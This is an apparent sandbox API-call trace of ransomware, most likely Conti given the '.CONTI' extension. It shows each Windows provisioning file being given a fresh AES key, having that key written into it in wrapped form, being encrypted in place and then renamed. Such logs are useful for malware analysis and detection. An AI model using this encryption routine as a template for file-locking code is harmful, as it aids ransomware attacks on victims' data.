	[0114.201] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.201] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b51960 | out: phKey=0x6b51960*=0x17c8030) returned 1
	[0114.201] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51964, pdwDataLen=0x3a7ff24 | out: pbData=0x6b51964*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.202] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.202] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.202] GetLastError () returned 0x0
	[0114.202] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=456) returned 1
	[0114.202] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8
	[0114.203] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.203] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.208] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.208] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.208] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b51964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b51964*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.210] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.210] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1c8, lpOverlapped=0x0) returned 1
	[0114.210] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1c8, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1d0) returned 1
	[0114.210] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.210] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.210] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.210] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b51958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b51958*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.210] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.210] CloseHandle (hObject=0x3d8) returned 1
	[0114.210] GetProcessHeap () returned 0x1720000
	[0114.210] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.210] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.210] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.210] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.211] GetProcessHeap () returned 0x1720000
	[0114.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.211] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.211] GetProcessHeap () returned 0x1720000
	[0114.211] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55b70 | out: hHeap=0x1720000) returned 1
	[0114.211] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.211] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e2a0 | out: phKey=0x6b4e2a0*=0x17c8030) returned 1
	[0114.211] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e2a4, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4e2a4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.212] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0114.212] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.212] GetLastError () returned 0x0
	[0114.212] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=467) returned 1
	[0114.212] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d3
	[0114.212] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.213] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.217] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.217] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.217] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e2a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4e2a4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.223] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.223] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1d3, lpOverlapped=0x0) returned 1
	[0114.223] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1d3, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1e0) returned 1
	[0114.223] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.223] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1e0, lpOverlapped=0x0) returned 1
	[0114.223] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.223] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4e298*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.223] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.223] CloseHandle (hObject=0x3d8) returned 1
	[0114.223] GetProcessHeap () returned 0x1720000
	[0114.223] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.223] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.223] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.223] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\721__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\721__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.224] GetProcessHeap () returned 0x1720000
	[0114.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.224] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.224] GetProcessHeap () returned 0x1720000
	[0114.224] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55cb8 | out: hHeap=0x1720000) returned 1
	[0114.224] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.224] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f050 | out: phKey=0x6b4f050*=0x17c8030) returned 1
	[0114.224] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f054, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4f054*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.227] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.228] GetLastError () returned 0x0
	[0114.228] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=790) returned 1
	[0114.228] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x316
	[0114.228] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.228] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.228] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.228] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.228] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4f054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4f054*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.234] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.234] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x316, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x316, lpOverlapped=0x0) returned 1
	[0114.235] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x316, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x320) returned 1
	[0114.235] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.235] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x320, lpOverlapped=0x0) returned 1
	[0114.235] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.235] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4f048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4f048*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.235] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.235] CloseHandle (hObject=0x3d8) returned 1
	[0114.235] GetProcessHeap () returned 0x1720000
	[0114.235] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.235] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml"
	[0114.235] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.235] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.236] GetProcessHeap () returned 0x1720000
	[0114.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.236] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0114.236] GetProcessHeap () returned 0x1720000
	[0114.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b541d0 | out: hHeap=0x1720000) returned 1
	[0114.236] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0114.236] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d980 | out: phKey=0x6b4d980*=0x17c8030) returned 1
	[0114.236] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d984, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4d984*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0114.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0114.237] GetLastError () returned 0x0
	[0114.237] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=482) returned 1
	[0114.237] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e2
	[0114.237] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.237] SetEndOfFile (hFile=0x3d8) returned 1
	[0114.243] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.243] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.243] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4d984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d984*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0114.250] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.250] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x1e2, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x1e2, lpOverlapped=0x0) returned 1
	[0114.250] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1e2, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x1f0) returned 1
	[0114.250] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.250] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x1f0, lpOverlapped=0x0) returned 1
	[0114.250] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.250] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4d978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4d978*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0114.250] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.250] CloseHandle (hObject=0x3d8) returned 1
	[0114.250] GetProcessHeap () returned 0x1720000
